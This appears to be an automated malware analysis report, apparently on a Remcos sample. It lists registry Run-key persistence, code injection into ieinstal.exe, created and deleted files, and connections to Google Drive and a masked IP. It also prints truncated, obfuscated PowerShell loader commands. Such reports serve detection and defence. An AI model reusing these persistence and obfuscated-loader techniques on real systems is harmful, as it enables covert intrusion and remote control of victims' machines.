Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [\REGISTRY\USER\S-1-5-21-1238866942-1249195528-555854008-1000\Software\Microsoft\Windows\CurrentVersion\Run] 'Impartedf' = '%CIP% -w 1 $Entwi=(Get-ItemProperty -Path 'HKCU:\Achr\').Vibrating;%C...
Malicious functions
Injects code into
the following user processes:
- ieinstal.exe
Modifies file system
Creates the following files
- D:\users\user\ntuser.dat.log1
- D:\windows\system32\config\software.log1
- D:\windows\system32\config\software
- D:\windows\system32\winevt\logs\microsoft-windows-networkprofile%4operational.evtx
- D:\windows\system32\winevt\logs\security.evtx
- D:\windows\system32\winevt\logs\application.evtx
- D:\windows\system32\winevt\logs\windows powershell.evtx
- D:\windows\serviceprofiles\localservice\appdata\local\lastalive1.dat
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\content\24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5ee6620004f1ae0eb0ea
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\content\f2ddcd2b5f37625b82e81f4976cee400_c0bb5d1423ccc53df4feb1b0a7d2f625
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\caf4703619713e3f18d8a9d5d88d6288_a7725538c46de2d0088ee44974e2ceba
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\content\caf4703619713e3f18d8a9d5d88d6288_a7725538c46de2d0088ee44974e2ceba
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\f2ddcd2b5f37625b82e81f4976cee400_4b05ab70063e9cf4cefc3109f1da8d9a
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\content\f2ddcd2b5f37625b82e81f4976cee400_4b05ab70063e9cf4cefc3109f1da8d9a
- D:\users\user\appdata\local\temp\cab53e.tmp
- D:\users\user\appdata\local\temp\tar54e.tmp
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\f2ddcd2b5f37625b82e81f4976cee400_c0bb5d1423ccc53df4feb1b0a7d2f625
- D:\windows\system32\winevt\logs\system.evtx
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\24bd96d5497f70b3f510a6b53cd43f3e_3a89246fb90c5ee6620004f1ae0eb0ea
- D:\windows\system32\config\system
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\content\4a9377e7e528f7e56b69a81c500abc24
- D:\users\user\ntuser.dat
- D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\ouj5etuk6tdqg0o79vjb.temp
- D:\windows\appcompat\programs\recentfilecache.bcf
- D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\zyhprwxr0dqdamd3u6kp.temp
- D:\users\user\appdata\local\microsoft\windows\usrclass.dat.log1
- D:\users\user\appdata\local\microsoft\windows\usrclass.dat
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\4a9377e7e528f7e56b69a81c500abc24
- D:\users\user\appdata\local\temp\cabc715.tmp
- D:\users\user\appdata\roaming\baadsk.dat
- D:\users\user\appdata\local\temp\tarc716.tmp
- D:\users\user\appdata\locallow\microsoft\cryptneturlcache\metadata\94308059b57b3142e455b38a6eb92015
- D:\users\user\appdata\local\temp\cabc86f.tmp
- D:\users\user\appdata\local\temp\tarc870.tmp
- D:\system volume information\syscache.hve.log1
- D:\system volume information\syscache.hve
- D:\windows\serviceprofiles\localservice\appdata\local\lastalive0.dat
- D:\windows\system32\config\system.log1
- D:\programdata\remcos\logs.dat
Deletes the following files
- D:\users\user\appdata\local\temp\cabc715.tmp
- D:\users\user\appdata\local\temp\tarc716.tmp
- D:\users\user\appdata\local\temp\cabc86f.tmp
- D:\users\user\appdata\local\temp\tarc870.tmp
- D:\users\user\appdata\local\temp\cab53e.tmp
- D:\users\user\appdata\local\temp\tar54e.tmp
Moves the following files
- from D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\ouj5etuk6tdqg0o79vjb.temp to D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms
- from D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\zyhprwxr0dqdamd3u6kp.temp to D:\users\user\appdata\roaming\microsoft\windows\recent\customdestinations\d93f411851d7c929.customdestinations-ms
Network activity
Connects to
- 'drive.google.com':443
- 'pk#.goog':80
- 'do#########ocs.googleusercontent.com':443
- '18#.#36.76.65':50544
TCP
HTTP GET requests
- http://pk#.goog/gsr1/gsr1.crt
Other
- 'drive.google.com':443
- 'do#########ocs.googleusercontent.com':443
UDP
- DNS ASK drive.google.com
- DNS ASK pk#.goog
- DNS ASK do#########ocs.googleusercontent.com
Miscellaneous
Creates and executes the following
- 'D:\windows\system32\windowspowershell\v1.0\powershell.exe' "$Drmandenh = """StFAuuFanMicfatMoiSuoImnPl stHDuTOsBCo Te{Ra No Fy Sp RepPiaInrHeaUnmAl(Ha[BeSNatLarBriUfnIngBa]Ud`$faOPrvPaeprrMieGlmFopFoiharPu)Ek;Va Ka`$MuFDbrReatikIcerunCudhueDa De=ti Fl'...' (with hidden window)
